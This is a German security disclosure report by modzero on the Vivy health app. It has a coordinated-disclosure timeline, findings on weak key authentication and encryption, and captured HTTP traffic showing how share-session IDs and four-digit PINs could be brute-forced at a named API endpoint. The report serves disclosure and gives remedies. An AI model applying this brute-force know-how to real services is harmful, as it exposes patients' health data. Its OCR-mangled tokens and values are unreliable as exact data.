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Timeline

Zeit

Beschreibung

18.09.2018

21.09.2018

21.09.2018 - 12:00 Uhr

21.09.2018 - 13:15 Uhr

21.09.2018 - 13:30 Uhr

21.09.2018 - 18:45 Uhr

21.09.2018 - 19:00 Uhr

22.09.2018 - 09:45 Uhr

22.09.2018 - 11:00 Uhr

24.09.2018 - 21:00 Uhr

03.10.2018 - 22:30 Uhr

04.10.2018 - 17:55 Uhr

21.10.2018

30.10.2018 - 10:00 Uhr

Extern: Veroffentlichung eines Blog-Posts hinsichtlich
potentieller  Datenschutzprobleme der kurz zuvor
veroffentlichten Vivy App unter https://www.kuketz-
blog.de/gesundheits-app-vivy-datenschutz-bruchlandung/

Schwachstellen in Vivy-Backend entdeckt von Martin
Tschirsich

Recherche nach Sicherheitsbeauftragten bei Vivy. Keine
Kontakt-Daten gefunden, daher auf gut Glick an
security@vivy.com geschrieben.

Anruf von einem der Geschaftsfiithrer.
E-Mail mit Kontaktdetails erhalten.

Email: CTO tiber die Kritikalitat informiert, und dass wir noch
am selben Abend einen ersten Report fertig machen.
Telefonkonferenz flir Samstag vorgeschlagen.

Riickfrage von CTO beantwortet, Terminvorschlag fiir
Telefonkonferenz Samstag 11:00

Entwurf des Berichts verschliisselt an CTO geschickt.
Telefonkonferenz mit CTO

Treffen mit Geschaftsleitung und einem Vertreter eines
Investors in den Geschiftsrdaumen der Vivy. An den im
Bericht geschildert Problemen wird laut Vivy aktiv gearbeitet
um diese zu beheben.

Ubermittlung einer finalen Version des Berichtes mit der
Nennung eines Zeitpunkts der Veroffentlichung der
Schwachstellen am 10.10.2018.

Vivy beschreibt ausfiihrlich den Fortschritt der Behebung
aller Sicherheitsprobleme und bittet um Verlangerung der
Frist auf den 24.10.2018. Der Bitte wird am 8.10.2018 per
Threema-Nachricht an den CEO entsprochen.

Wir koordinieren eine Veroffentlichung am 30.10.2018

Veroffentlichung des Berichts und eines begleitenden Blog-
Artikels.



Dokumentenversionen

Version Autor Datum Kommentar

0.1 Martin Tschirsich 22.09.2018 Initiale Version

0.2 Thorsten Schroder 22.09.2018 Befunde hinzugefiigt
0.3 Martin Tschirsich 24.09.2018 Befunde hinzugefiigt
0.4 Martin Tschirsich 02.10.2018 Befunde hinzugefiigt
1.0 Thorsten Schroder 03.10.2018 Dokumenten-Review
1.4 Thorsten Schroder 25.10.2018 Finale Version



1. Zusammenfassung

Der Launch der elektronischen Gesundheitsakte Vivy wurde von grofdem medialem Echo begleitet.
Die App ermoglicht zunachst 13,5 Mio. Krankenversicherten kostenlos die Verwaltung ihrer
Gesundheitsdaten.

Die Vivy-App soll laut Hersteller hochsten Sicherheitsanspriichen geniigen:

"Vivy ist ein CE zertifiziertes medizinisches Produkt und erfiillt die héchsten
Sicherheitsanforderungen, die durch das Bundesamt fiir Sicherheit in der Informationstechnik
(BSI) formuliert wurden."

Quelle: https://www.vivy.com/sicherheit/sicherheitleistungserbringer/, zuletzt abgerufen am 02.10.2018

Wenige Tage nach dem Launch von Vivy identifizierte Martin Tschirsich, IT Security Analyst bei
modzero, schwere Sicherheitsmangel sowohl in der Smartphone-App, als auch in der Cloud-
Plattform und der Browser-Anwendung fiir Arzte.

Informationen dariiber, wer wann mit welchem Arzt Gesundheitsdaten geteilt hatte, waren
ungeschiitzt fiir jede Person lesbar im Internet.

Versicherte konnten durch die Informations-Lecks anhand von Name, Foto, E-Mailadresse,
Geburtsdatum und Versichertennummer identifiziert werden. Auch Name, Adresse und
Fachrichtung des kontaktierten Arztes konnten ausgelesen werden.

Unbefugte konnten tiber das Internet alle Dokumente, die an einen Arzt gesendet werden sollten,
abfangen und entschliisseln.

Dariiber hinaus fand modzero zahlreiche konzeptionelle Schwéchen im Rahmen der Nutzung der
RSA-Verschliisselung und des Schliissel-Managements. So konnten beispielsweise tber trivial
ausnutzbare Fehler in der Server-Anwendung die geheimen RSA-Schliissel der Arzte ausgelesen
werden.

Zwei-Faktor-Authentifizierung sollte das Sicherheitsniveau bei der Anmeldung erh6hen. Diese
Methode konnte mittels Brute-Force-Angriff praktisch umgangen werden.

In die Smartphone-App konnte beliebiger HTML-Code eingebettet und fiir glaubhafte Phishing-
Angriffe genutzt werden.

Allein mit E-Mailadresse und Passwort eines Nutzers und ohne Kenntnis dessen privaten
Schliissels konnten in einem simulierten Angriff alle nachfolgend iibertragenen Gesundheitsdaten
durch den Angreifer entschliisselt werden.

Zudem konnten auf dem Smartphone im Klartext gespeicherte Gesundheitsdaten ausgelesen
werden.

Die Ende-zu-Ende-Verschliisselung kann durch einen Man-in-the-Middle-Angreifer ausgehebelt
werden, da Schliissel mit Kommunikationspartnern ausgetauscht werden, ohne deren Identitat zu
verifizieren.

Zudem sichert der eingesetzte Verschliisselungsmodus lediglich die Vertraulichkeit der
Gesundheitsdaten zu, nicht aber deren Integritit und Authentizitit. Unautorisierte Anderungen
bleiben unbemerkt.



2. Ubersicht der Befunde

Befund Auswirkung
4.1.1 Schliisselaustausch ohne Authentifizierung Mittel/Hoch
4.1.2 Unauthentifizierte Verschliisselung Mittel/Hoch
4.2.1 Preisgabe von mit Arzt geteilten Dokumenten und Metadaten Mittel/Hoch
4.2.2 Uberschreiben offentlicher Schliissel Mittel/Hoch
4.2.3 Brute-Force-Angriff auf Zwei-Faktor-Authentifizierung Mittel/Hoch
4.2.4 Fehlermeldungen bei Login begiinstigen Brute-Force-Angriffe Gering

4.3.1 Unsichere Speicherung von Schliisselmaterial im Browser Mittel/Hoch
4.3.2 Persistentes Cross-Site-Scripting in geteilten Dokumenten Mittel /Hoch
4.3.3 Persistentes Cross-Site-Scripting in Profilbildern Mittel/Hoch
4.3.4 Persistentes Cross-Site-Scripting in Benutzernamen Mittel /Hoch
4.3.5 Fehlende HTTP-Transport-Security-Policy Mittel/Hoch
4.4.1 Export des privaten Schliissels im Klartext Mittel /Hoch
4.4.2 Einbetten von nicht vertrauenswiirdigem HTML-Code Mittel /Hoch
4.4.3 Zuordnung von pseudonym gespeicherten Gesundheitsdaten Mittel/Hoch
4.4.4 Preisgabe vertraulicher Daten aus Gesundheitsakte im System-Log Mittel/Hoch
4.4.5 Preisgabe vertraulicher Daten aus Gesundheitsakte im Cache Mittel /Hoch



3. Vorgehensweise

Vivy erméglicht neben der Speicherung von Dokumenten deren Austausch zwischen Nutzern, von
Nutzern zu Arzten und von Arzten zu Nutzern. Der Nutzer bedient sich dabei der Smartphone-App
unter i0S oder Android. Die Smartphone-App kommuniziert iiber verschiedene API-Endpunkte
direkt mit auf Servern von Amazon Web Services gehosteten Diensten, nachfolgend Vivy-Plattform
genannt. Auf der Vivy-Plattform wird auch eine Browser-App fiir den Austausch von Dokumenten
zwischen Arzten und Nutzern gehostet.

Betrachtet wurden ausgewahlte Teilbereiche der Smartphone-App fiir Android, der Vivy-
Plattform sowie der Browser-App mit augenscheinlichen Auffilligkeiten. Eine vollstindige
Sicherheitsanalyse wurde nicht durchgefiihrt. Zur Identifikation der nachfolgend dokumentierten
Schwachstellen wurde allein die zum Download angebotene Android-App, die allgemein
zugdngliche Dokumentation sowie das Antwortverhalten der Vivy-Plattform herangezogen.

3.1 Testumgebung
o
‘—MitM-CA-Zertifika

4+—WiFI—p

Vivy-App MitM-Proxy Vivy-Plattform

Die Vivy-App in Version 1.6 fiir Android wurde auf einem Bee E7S Smartphone mit Android 6.0.1
installiert. Das Smartphone erfiillt die geforderten Voraussetzungen:

Um die Vivy-App herunterladen zu kénnen, muss dein Smartphone mindestens das
Betriebssystem Android 6.0 Marshmallow oder hoher installiert haben.

Quelle: https://help.vivy.com/hc/de/articles/360000473113, zuletzt abgerufen am 02.10.2018

Anschlieflend wurde der Datenverkehr zwischen App und Vivy-Plattform iiber einen
zwischengeschalteten MitM-Proxy analysiert. Voraussetzung hierfiir war die Installation eines
MitM-CA-Zertifikates auf dem Smartphone, dessen Public-Key-Pin zuvor der App bekannt gemacht
wurde.

Zur Verifikation einiger identifizierter Schwachstellen wurde die App zusatzlich auf einem zweiten
Android-Smartphone installiert und der Speicherinhalt nach Erlangung von Root-Rechten
ausgelesen.

4. Befunde

Nachfolgend sind alle Schwachstellen gelistet, die bei Betrachtung der einzelnen Komponenten der
Anwendung und deren Zusammenspiel aufgefallen sind.



4.1 Allgemein

4.1.1 Schlusselaustausch ohne Authentifizierung

Typ/Klasse Kryptographie

Aufwand Mittel/Hoch

Auswirkung Mittel/Hoch

Ort Vivy-Plattform, Smartphone-App, Browser-App

Die Anwendung tauscht Schliissel mit Kommunikationspartnern aus, ohne deren Identitat zu
verifizieren.

Im eingesetzten asymmetrischen Verschliisselungsverfahren bendtigt der Sender fiir eine
verschliisselte Ubertragung den offentlichen Schliissel des Empfingers.

Dabei muss sichergestellt sein, dass es sich tatsachlich um den Schliissel des Empfangers handelt
und nicht um eine Falschung eines Betriigers.

Eine solche Authentifizierung 6ffentlicher Schliissel findet jedoch nicht statt.

MITRE Kkategorisiert diese Schwachstelle unter ,CWE-322: Key Exchange without Entity
Authentication“l.

4.1.1.1 Details

Vivy setzt auf eine sogenannte hybride Verschliisselung. Bevor ein Dokument tiber die Vivy-
Plattform verschickt wird, wird es vom Absender symmetrisch verschliisselt. Der dazugehorige
symmetrische Schliissel wird mit dem o6ffentlichen Schliissel des Empfangers verschliisselt.
Sowohl das verschliisselte Dokument als auch der verschliisselte symmetrische Schliissel werden
auf der Vivy-Plattform gespeichert.

Bei Ubertragung von Dokumenten an einen anderen Nutzer empfingt die App dessen dffentlichen
Schliissel von der Vivy-Plattform.

Beispiel: Senden eines Dokumentes an einen anderen Nutzer mit E-Mailadresse
test@example.com:

POST /api/users/me/sharesessions?email=test%40example.com&permanent=false&reportId=a8e80280-f00f-4936-
bd29-a426ed7eb60b HTTP/1.1

Content-Type: application/json

Accept-Language: en-US

x-uvita-client: android

Authorization: bearer
eyJhbGciOiJIUzIINiISInR5cCI6IkpXVCI9.eyJ1c2VyX25hbWUi0iJOZXNOMUBLeGFtcGx1LmNVvbSISInN@eXB1IjoiVVNFUiIsInN
jb3B1IjpbImIhc21jI10sImlkIjoiZjgwMzY3ZjELYZzgxMCOONZzIXLTgyNzQtNTkSMTg5NDhmOTk1IiwiZXhwIjoxNTM4MzQOMjk2LCI
qdGkiOiIyM2IkNDd1ZCO2YmQzLTQANWULOWE1YSOXOWIYyMjcwZTImODQiLCIjbGl1lbnRfaWQi0iJhbmRyb21kIn®. iwkGVUK2HVHGMIX
iWw30U-00dmYY-vZCmo9rtGIH928

x-uvita-version: 1.16

x-uvita-device: Bee E7S

Content-Length: ©

Host: api.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

Die Vivy-Plattform antwortet mit dem o6ffentlichen Schliissel des Nutzers:

HTTP/1.1 200

Date: Sun, 30 Sep 2018 21:46:36 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Max-Age: 3600

Access-Control-Expose-Headers: x-encryption-cipher-key, x-encryption-compression, x-encryption-content-
type, x-encryption-version

X-Application-Context: uvita-api:prod

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

L https://cwe.mitre.org/data/definitions/322.html, zuletzt abgerufen am 02.10.2018



Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: @

X-Frame-Options: DENY

Vary: Accept-Encoding

Content-Length: 1156

{
"sessionId" : "kxxq8nzy",
"url" : "https://vivy.com/kxxq8nzy",
"externalPin" : "1XOv35kjMXqiOt37ndzf21HzMq9AyWMVy@qGa035",
"publicKey" : "----- BEGIN PUBLIC KEY-----

\NMIICIjANBgkghkiGOwOBAQEFAAOCAg8AMIICCgKCAgEASN3Pk+1wGylvbewoAjqv\nxjHbzf/NgI1lr+Y5Fkn31zZNSX+FDWTDSc2iU
S7uFi+ZOLY6yuLOdp8UWTA7BHRAS\nr3cUjBYukDGvxohF17iNaHKnwnkFof3EITGRXAX9w19n7j4ROYSGNEEDOMC/rC8X \n4qWCDAoY
nESMzujJT9gPHAK6806BQBOh1mgLHI7vanrG8pcC2GiNIEK3rveOBU7+\nkU8ccykB5ZpGLQyeDINFrVMtYEWTh14KZoA3NImLYVm+2K+
FLgdJ9%sjmojoT1gT6\n1Q9INh2xz9wjzdigTCDQSpYVE6hTZ3WEBLNE6ZMRZSUMqRPFt3foiioF40gCpHXP \nIOpSZ/2udux2IUMxX5e
0/U4UuPPM8tBT1asIBmRHIqfI29MhHuUYV/cRdg+DagFWzK\nNCJ2g1lsNs/18R3zj6/006bTVukHRIgNhLzFNDhKTEwdP18Cmg9ONKT1la/
/aIQwdQR\niDYzqT13SkRhcR2BAeurBj7Xs7LilnGRVCR6S3X7c5Vgn3EC86VKrwhqoUsyTgy \nP7eDwQuIGQQXDH78qwEKM3khbHLd
7ZuTXmEMmYQEVXAWSc/pHWVOr+o80AtmGcO/ \nCBusHCcOmS5/0vj57Nzc9ioSdzZjeky4SaslayT4fGQa3QQXnTCTfacat3URcSdyj\n

Do7k6/ZcepiNsLYUPMFX5MUCAWEAAQ==\n----- END PUBLIC KEY----- \n",
"contentFileId" : null,
"createdAt" : "2018-09-30T21:46:36.578Z2",
"expiresAt" : "2018-10-01T21:46:36.578Z",
"permanent" : false,
"doctorId" : null,
"email" : "test@example.com"
}

Die Smartphone-App sowie die Browser-App bieten keine Moglichkeit, die Authentizitit des
offentlichen Schliissels zu verifizieren. Tauscht beispielsweise ein Vivy-Mitarbeiter oder der
Anbieter der Cloud-Infrastruktur den hinterlegten 6ffentlichen Schliissel eines Nutzers durch
seinen eigenen Schliissel aus, dann kann dieser alle an diesen Nutzer gesendeten Dokumente
entschlisseln (Man-in-the-Middle-Angriff). Es besteht also keine Vertraulichkeit bei
Kompromittierung der Vivy-Plattform.

4.1.1.2 Empfehlung

Bei Nutzung einer Public-Key-Infrastruktur kann die App zuvor mit einem Vertrauensanker in
Form von Root-Zertifikaten ausgestattet werden. Die Authentizitdt eines 6ffentlichen Schliissels
kann dann mit einem Public-Key-Zertifikat bestatigt werden,

Ist keine Public-Key-Infrastruktur vorhanden, kann dem Nutzer zumindest durch Anzeigen eines
Fingerprints der beteiligten 6ffentlichen Schliissel eine Moglichkeit gegeben werden, sich durch
Abgleich mit bereits bekannten und auf sicherem Weg ausgetauschten Fingerprints von deren
Authentizitat zu iiberzeugen.

Trotz dieser Mafnahmen besteht weiterhin kein Schutz bei Kompromittierung der Smartphone-
App. Ein Angreifer miisste fiir eine solche Kompromittierung allerdings im Besitz eines giiltigen
Signaturschliissels sein und die kompromittierte App liber den Google Play Store verteilen konnen.
Signaturschliissel (Zertifikate) sollten speziell gesichert werden.

Auch die Browser-App ist nicht vor Kompromittierung geschiitzt. Hier besteht weiterhin ein
erhohtes Risiko durch fehlende Signierung. Abhilfe schaffen kénnte ein signiertes Browser-Plugin
oder ein signierter Desktop-Client.

4.1.2 Unauthentifizierte Verschliisselung

Typ/Klasse Kryptographie

Aufwand Hoch

Auswirkung Mittel/Hoch

Ort Vivy-Plattform, Smartphone-App, Browser-App

Authentifizierte Verschliisselung gewahrleistet zusatzlich zur Vertraulichkeit die Datenintegritat
und Authentizitit verschliisselter Nachrichten - diese stammen also nachweisbar vom jeweiligen
Absender.

Die eingesetzte Verschliisselung dagegen gewahrleistet allein die Vertraulichkeit. Das bedeutet,
dass ein Empfanger einer so verschliisselten Nachricht nicht wissen kann, ob der verschliisselte
Nachrichtentext zwischendurch manipuliert wurde.



Die fehlende Authentifizierung macht die Verschliisselung zusatzlich angreifbar durch Adaptive-
Chosen-Ciphertext-Attacks (CCA2). Hierbei sendet ein Angreifer zuvor abgefangene verschliisselte
Nachrichten mit spezifischen Manipulationen an die Anwendung - ein sog. ,Entschliisselungs-
Orakel” - und leitet aus deren Riickmeldung tiber Erfolg oder die Art des bei der versuchten
Entschliisselung aufgetretenen Fehlers Informationen iiber den Klartext der Nachricht ab.

4.1.2.1 Details

Die App setzt auf eine sogenannte hybride Verschliisselung. Bevor ein Dokument iiber die Vivy-
Plattform verschickt oder auf ihr gespeichert wird, wird es vom Absender symmetrisch
verschliisselt. Der dazugehorige symmetrische Schliissel wird mit dem o6ffentlichen Schliissel des
Empfangers verschliisselt. Sowohl das verschliisselte Dokument als auch der verschliisselte
symmetrische Schliissel werden auf der Vivy-Plattform gespeichert.

Die symmetrische Verschliisselung wird mit der Block-Chiffre AES im CBC-Modus und PKCS7-
Padding realisiert. Der CBC-Modus sichert die Vertraulichkeit einer verschliisselten Nachricht zu,
nicht aber deren Integritat bzw. Authentizitat.

So ist es denkbar, dass ein Angreifer anhand der Metadaten (Absender, Datum, Dateigrofie,
Dateityp) verschliisselte, aber im Klartext nach vorhersagbarem Muster aufgebaute Dokumente
identifiziert und diese gezielt manipuliert?.

CCAZ2-Angriffe sind ebenfalls denkbar, obwohl hier keine typische Online-Anwendung vorliegt. Die
App kommuniziert dennoch auf verschiedenen Kanalen Informationen iiber das Ergebnis eines
Entschliisselungsversuches.

Beispielsweise fragt die App nur nach erfolgreicher Entschliisselung der Metainformationen eines
Dokumentes auch Informationen iiber den darin genannten Arzt ab. Schldgt die Verschliisselung
fehl, werden auch keine Arzt-Informationen abgerufen. Zudem sendet die App Informationen iiber
eingetretene Fehler inklusive Zeitstempel an crashlytics.com. Auch tber das lokale Android-
System-Log werden zum Teil detaillierte Fehlerberichte ausgegeben.

Ob die auf diesen oder weiteren Kandalen offengelegten Informationen fiir einen CCA2-Angriff in
der Praxis ausreichen, wurde nicht abschliefRend gepriift. Der Einsatz des
Kompressionsverfahrens gzip inklusive CRC-Priifsummencheck erhoht die Komplexitdt eines
solchen CCA2-Angriffes.

4.1.2.2 Empfehlung

Die vorgenannten Schwachen kénnen durch Einsatz eines authentifizierten Betriebsmodus der
AES-Blockchiffre oder das Hinzufiigen eines Message-Authentication-Codes (Encrypt-then-MAC)
beseitigt werden.

4.2 Vivy-Plattform

4.2.1 Preisgabe von mit Arzt geteilten Dokumenten und Metadaten

Typ/Klasse Information-Disclosure
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Vivy-Plattform

Von Nutzern mit Arzten geteilte Dokumente konnen kurzfristig, personenbezogene Metadaten
sogar langerfristig von Dritten eingesehen werden. Die zum Zugriff benétigte PIN kann per Brute-
Force-Angriff in wenigen Sekunden ermittelt werden.

Teilt ein Nutzer aus der App heraus Dokumente mit einem Arzt, so werden diese unter einer
fiinfstelligen Kombination aus Kleinbuchstaben im URL-Pfad - der sogenannten Session-ID - unter
https://vivy.com abrufbar gemacht. Lautet die Session-ID beispielsweise bretr, so wird ein Zugriff auf
https://vivy.com/bretr mit einer Umleitung auf https://app.vivy.con/bretr beantwortet:

HTTP/1.1 200 OK

Z https://hackerone.com/reports/108082, zuletzt abgerufen am 02.10.2018
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modzero GmbH
Schwachstellen in Gesundheits-App Vivy

Content-Type: text/html

Content-Length: 99

Connection: close

Date: Sat, 22 Sep 2018 06:31:41 GMT

Last-Modified: Fri, 21 Sep 2018 18:26:55 GMT

ETag: "2f31eb79d74cddffOc49b86e7e4d30chb”
X-amz-server-side-encryption: AES256

X-amz-version-id: S9vyeS5RB51ruNk2EOxJ2udtVDmmGGT1IN

Accept-Ranges: bytes

Server: AmazonS3

X-Cache: Miss from cloudfront

Via: 1.1 0f820adb6671fcc6033a%9aa95ec8e0fb.cloudfront.net (CloudFront)
X-Amz-Cf-Id: kK6XX095W5bt4gSi46KdxD1043x3Zcz8CTdUXR7bYOPOMWAORS5Wi_Q==

<html><head><meta http-equiv="refresh" content="0; url=https://app.vivy.com/bretr" /></head></html>

Insgesamt gibt es 11.881.376 madgliche, aus fiinf Kleinbuchstaben bestehende Session-1Ds. Dieser
Suchraum kann von einem externen Angreifer mit 140 HTTP-Abfragen pro Sekunde innerhalb von
weniger als 24 Stunden vollstindig durchlaufen werden.

Zudem gibt die Browser-App unter https://app.vivy.con/bretr die Session-ID ohne fremdes Zutun an
Dritte weiter:

4211 Per HTTP-Request an Mixpanel Inc, San Francisco, CA, USA:

GET
/track/?data=eyJ1dmVudCI6ICItcFOWYWd1X3ZpZXcilCIwcmOwzXI0aWVzIjogeyIkb3MiOiAiTGludXgiLCIkYnJvd3N1ciI6ICT
GaXJ1Zm94IiwiJGN1cnJI1bnRfdXIsIjogImh@dHBzOi8vYXBwLnZpdnkuY29tL2JyZXRyIiwilGIyb3dzZXIfdmVyc21lvbiI6IDYyLCI
kc2NyZWVuX2hlaWdodCI6IDEWODASIiRzY3J1ZW5fd21kdGgiOiAXOTIWLCItcF9saWIiOiAid2ViIiwiIGxpY192ZXIzaWOuIjogIjI
UMTCcuMCIsImRpc3RpbmNOX21kIjogIjE2NWZKNFNIMTg4MmY2LTA4Y ImNWU3NTF1ZWQOLTcIMjc2NzUyLTFmYTQWMCOXNFVmZDYzYJE
40TMOYyIsIiRpbmlOaWFsX3J1ZmVycmVyIjogIiRkaXJ1Y3QiLCIkaW5pdGlhbFOyZWZ1cnIpbmdfZG9tYWluIjogIiRkaXJ1Y3QiLCJ
wbGFOZm9ybSI6ICI3ZWIiLCISYWSndWFNZSI6ICI1bilVUyIsImlwX3BhZ2Ui0iAiaHROCHM6LYS9hcHAudm12eS5jb20vYnI1dHIiLC]
tcF9icm93c2VyIjogIkZpcmVmb3gilCItcFOwbGFOZmOybSI6ICIMaW51eCIsInRva2VuljogIjBmMzdjYmUwWNTI3M2Q4ZDkwOTCc5ZT]
KNmI50DBIMGUOIN19&ip=1& =1537554638265 HTTP/1.1

Host: api.mixpanel.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://app.vivy.com/bretr

Origin: https://app.vivy.com

DNT: 1

Connection: close

Der base64-kodierte URL-Query-Parameter lautet dekodiert:

{"event": "mp_page_view","properties": {"$os": "Linux","$browser": "Firefox","$current_url":
"https://app.vivy.com/bretr","$browser_version": 62,"$screen_height": 1080, "$screen_width":

1920, "mp_lib": "web","$1lib_version": "2.17.0","distinct_id": "165fd63b1882f6-08b9f5e751eed4-75276752-
1fa400-165fd63b18934c", "$initial_referrer": "$direct","$initial_referring_domain": "$direct","platform":

"web","language": "en-US","mp_page": "https://app.vivy.com/bretr","mp_browser": "Firefox","mp_platform":
"Linux","token": "@f37cbe05273d8d90979e2d6b980e0e4" }}

4.2.1.2 Per Websocket an Zopim Technologies Pte Ltd., Singapore

1537554675824

Qor e

{"_type":"register","accountKey":"vVpouV97M7Kyy7sCETkL8nQySea7zw5e", "cookie_law":false,"dt":"desktop","
mID":"","ref":"","rev":"d31db3dc3c4ffeba8f09a2277c4ea071814e7cf0O", "source": "widget_v2","theme":"simple",
"title":"Vivy","ua":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101
Firefox/62.0","url":"https://app.vivy.com/bretr"}

4.2.1.3 Per HTTP-Request an Zendesk Inc., San Francisco, CA, USA

GET
/embeddable_blip?type=pageView&data=eyIwYWd1VmlldyI6eylyZWZ1cnJ1lciI6Imh@dHBz0i8VvYXBwLnZpdnkuY29tL2JyZXRy
IiwidG1ltZSI60SwibmF2aWdhdG9yTGFuzZ3VvhzZ2Ui0iJ1lbilVUyIsInBhZ2VUaXRsZSI6I1ZpdnkilCJ1c2VyQWd1lbnQi0iINb3ppbGxh
LzUuMCAOWDEx0yBVYnVudHU7IExpbnV4IHg4N182NDsgcnY6NjIuMCkgR2Vja28vMjAXMDAXMDEgRm1yZWZveC82Mi4wIiwiaGVscENL
bnR1ckR1ZHVWIjpmYWxzZX0sImJ1aWQiOiI2NWM1MzMyND1mMWVmMMDMyNzkwNTBmMNTd1INTQ40DMwMyIsInN1aWQiOiI4Mz1mY2YxXNWNm
0Dk4Y2UxMDBjMWI1MmF jNDMyM2F1MyIsInZ1lcnNpb24i0iJkZThkN2ES5MWUiLCI@aW11lc3RhbXAiOiTIyMDEALTASLTIXVDE4OjMXOJEQ
Ljg@0FoilLCI1cmwiOiJodHRwczovL2FwcC52aXZ5LmNvbS9icmvocil9 HTTP/1.1

Host: uvita.zendesk.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0

modzero GmbH | MarienstralBe 12| 10117 Berlin | Germany | Phone: +49 30 33855540
E-Mail: contact@modzero.ch | Web: https:/ /www.modzero.ch | Fax: +49 30 3512.5814
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Accept: */*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.vivy.com/bretr
Origin: https://app.vivy.com

DNT: 1

Connection: close

Der base64-kodierte URL-Query-Parameter lautet dekodiert:

{"pageVview":{"referrer":"https://app.vivy.com/bretr","time":9, "navigatorLanguage": "en-
Us","pageTitle":"Vivy","userAgent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101
Firefox/62.0","helpCenterDedup"”:false}, "buid":"65c533249f1ef03279050f57e5488303", "suid": "839fcf15cf898ce
100clbe2ac4323ae3", "version":"de8d7a91e", "timestamp":"2018-09-
21718:31:14.848Z","url":"https://app.vivy.com/bretr"}

4.2.1.4 Per HTTP-Referrer an Google LLC., Mountain View, CA, USA

GET /css?family=Lato:400,700,400italic,700italic&subset=1atin HTTP/1.1

Accept: text/css,*/*;q=0.1

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Cache-Control: no-cache

Pragma: no-cache

Referer: https://app.vivy.com/bretr

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu
Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36

Welche Daten unter Kenntnis der Session-ID eingesehen werden kénnen, hidngt davon ab, ob der
Arzt das vom Nutzer bereitgestellte Dokument bereits abgerufen hat und ob der Nutzer den Teilen-
Bildschirm der App offen oder bereits geschlossen hat - also das Teilen beendet hat:

2027 A 5B E

Cancel sharing

To share your document this screen
must remain open until your doctor
enters the given linkand PIN.

CONTINUE QuUIT

4.2.1.5 Das Dokument wurde bereits vom Arzt abgerufen

Hier kann die zum Abrufen des Dokumentes benétigte vierstellige PIN auf dhnliche Weise wie die
Session-ID bei gleichbleibender HTTP-Abfragerate innerhalb einer Minute gefunden werden.
Dabei muss die Vivy-API mit der Session-ID im Pfad wunter dem Endpunkt
/api/sharesessions/bretr/profiles zusammen mit der PIN im Authentication-Header abgefragt
werden. Bei korrekter PIN-Eingabe werden beispielsweise folgende Daten zuriickgegeben:

HTTP/1.1 200
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Date: Fri, 21 Sep 2018 18:31:24 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

Server: nginx/1.13.12

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Max-Age: 3600

X-Application-Context: uvita-api:prod

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: @

X-Frame-Options: DENY

Vary: Accept-Encoding

Content-Length: 178577

{
"user" : {

"id" : "c9bbce@d-0c5a-4df1-8d3a-8264760bee89",

"firstName" : null,

"lastName" : null,

"preferredName" : "modzero_test",

"language" : "en-US",

"email" : "test@example.com",

"birthDate" : null,

"pictureFileId" : null,

"insurance" : {

"id" : "dak-gesundheit",
"name" : "DAK-Gesundheit",
"number" : null,
"verified" : false,
"status" : "pending",
"supported" : true,
"cardLogoUrl" : "https://uvita.eu/images/uploads/75d74b75-1c44-4c81-98bd-392512771c38",
"invertedColorCardLogoUrl" : null,
"backgroundUrl” : "https://uvita.eu/images/insurances/dak-gesundheit/cardbackground-pr.png",
"contactBackgroundurl" : "https://uvita.eu/images/insurances/dak-gesundheit/cardbackground-
pr.png",
"color" : "#FFFFFFFF",
"primaryColor" : "#BF4A17FF",
"secondaryColor" : "#FFFFFFFF",
"features" : [ {
"id" : "sso",
"iconUrl" : null
3]

s

"kycStatus" : "initial",

"kycMessage" : null,

"key" :

"pubKeyId" : "laafdc84-7541-4a3b-9544-edbeab098833",
"pubKeyFileId" : "uvita-pubkey-2018-09-21T18:21:22Z-qfm5ViccEYOT1H7SQuo3fet1QmjxE5653gg7h7ZF",
"pubKeyUploadedAt" : "2018-09-21T18:21:237"
"terms" : null
1
"doctor" : {

"id" : "ChIJoU-PIgdOgEcRPrN2wdNcIxY",

"name" : "Praxis Prenzlauer Berg",

"photoId" : "CmRaAAAAGN3nRkxQUYYGTs9ZWv-H4em2INE1OSFOSES_Ff-ERsluxxeBObmVcr7rH-urOyrsgnxFM2t -
uxY_1QzgvP5ZC04xcOVE669kOtY67BWkdRH7g21DC3wvVvFEONAEXmsy1EhDONxipkX1RLYyBal7wgWHWOGhSQOs13hae5RsmLhF9bofk8
avRGglg",

"rating" : 3.4000000953674316,

"address" : "Danziger Str. 78b, 10405 Berlin, Germany",

"lat" : 52.5385906,

"lng" : 13.4249988,

"highlighted" : false,

"reviewCount" : 5,

"specialityIds" : [ 1 ],

"source" : "google",

"phoneNumber" : "+49 30 44039972",

"email" : null,

"website" : "http://praxis-prenzlauer-berg.de/",

"openingHours" : [ "D1T09:00/D1T15:00", "D2T15:00/D2T720:00", "D3T10:00/D3T15:00",
"D4T15:00/D4T20:00", "D5T10:00/D5T14:00" ]
s
"userPictureBase64" : null,
"doctorPictureBase64" : "data:image/jpeg;base64,/9j/4AA...y5RSP/Z",
"createdAt" : "2018-09-21T18:26:54.329Z",
"expiresAt" : "2018-09-22T18:26:54.329Z2"
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Der Zeitraum fiir einen solchen Angriff ist recht lang, da Dokumente mindestens fiir 24 Stunden
